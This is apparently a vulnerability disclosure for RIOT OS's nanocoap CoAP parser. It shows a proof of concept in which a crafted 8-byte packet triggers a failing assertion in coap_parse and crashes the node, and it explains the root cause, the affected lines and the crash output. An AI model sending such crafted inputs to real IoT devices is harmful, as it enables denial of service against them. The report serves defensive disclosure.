$ cat examples/basic/hello-world/Makefile
APPLICATION = hello-world
BOARD ?= native
RIOTBASE ?= $(CURDIR)/../../..
DEVELHELP ?= 1
USEMODULE += gnrc_udp
USEMODULE += gnrc_ipv6
USEMODULE += nanocoap
USEMODULE += nanocoap_token_ext
QUIET ?= 1
include $(RIOTBASE)/Makefile.include
$ cat examples/basic/hello-world/main.c
#include <stdint.h>
#include <net/nanocoap.h>
#define INPUT_SIZE 8
int main(void)
{
coap_pkt_t pkt;
uint8_t buf[INPUT_SIZE] = {0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f, 0x0f};
coap_parse(&pkt, buf, sizeof(buf));
return 0;
}
$ make BOARD=native64 -C examples/basic/hello-world/
$ ./examples/basic/hello-world/bin/native64/hello-world.elf
RIOT native interrupts/signals initialized.
TZ not set, setting UTC
RIOT native64 board initialized.
RIOT native hardware initialization complete.
main(): This is RIOT! (Version: 2026.07-devel-11-gb0b3d)
sys/include/net/nanocoap.h:721 => FAILED ASSERTION.
Summary
With
USEMODULE += nanocoap_token_ext, thecoap_parsefunction contains a reachable failing assertion which can be triggered by a malicious attacker with a crafted input. When assertions are enabled, it will enable a denial-of-service by crashing the RIOT node. I have not investigated what happens if assertions are disabled.Details
If
nanocoap_token_extis enabledcoap_hdr_tkl_ext_lencontains an assertion ala.assert(hdr->ver_t_tkl & 0x0f != 15):RIOT/sys/include/net/nanocoap.h
Lines 720 to 722 in b0b3d66
This invariant is enforced by the
coap_is_hdr_in_boundsfunction:RIOT/sys/net/application_layer/nanocoap/nanocoap.c
Lines 85 to 87 in b0b3d66
However, in
coap_parse_udpthecoap_is_hdr_in_boundsfunction is called aftercoap_hdr_tkl_ext_lenis first invoked:RIOT/sys/net/application_layer/nanocoap/nanocoap.c
Lines 131 to 139 in b0b3d66
Because
coap_hdr_tkl_ext_lenis reachable indirectly viacoap_hdr_data_ptr:RIOT/sys/include/net/nanocoap.h
Lines 774 to 777 in b0b3d66
PoC
Impact
Denial of service.
Introduced in 660c77e.
Discovered through symbolic execution using KLEE.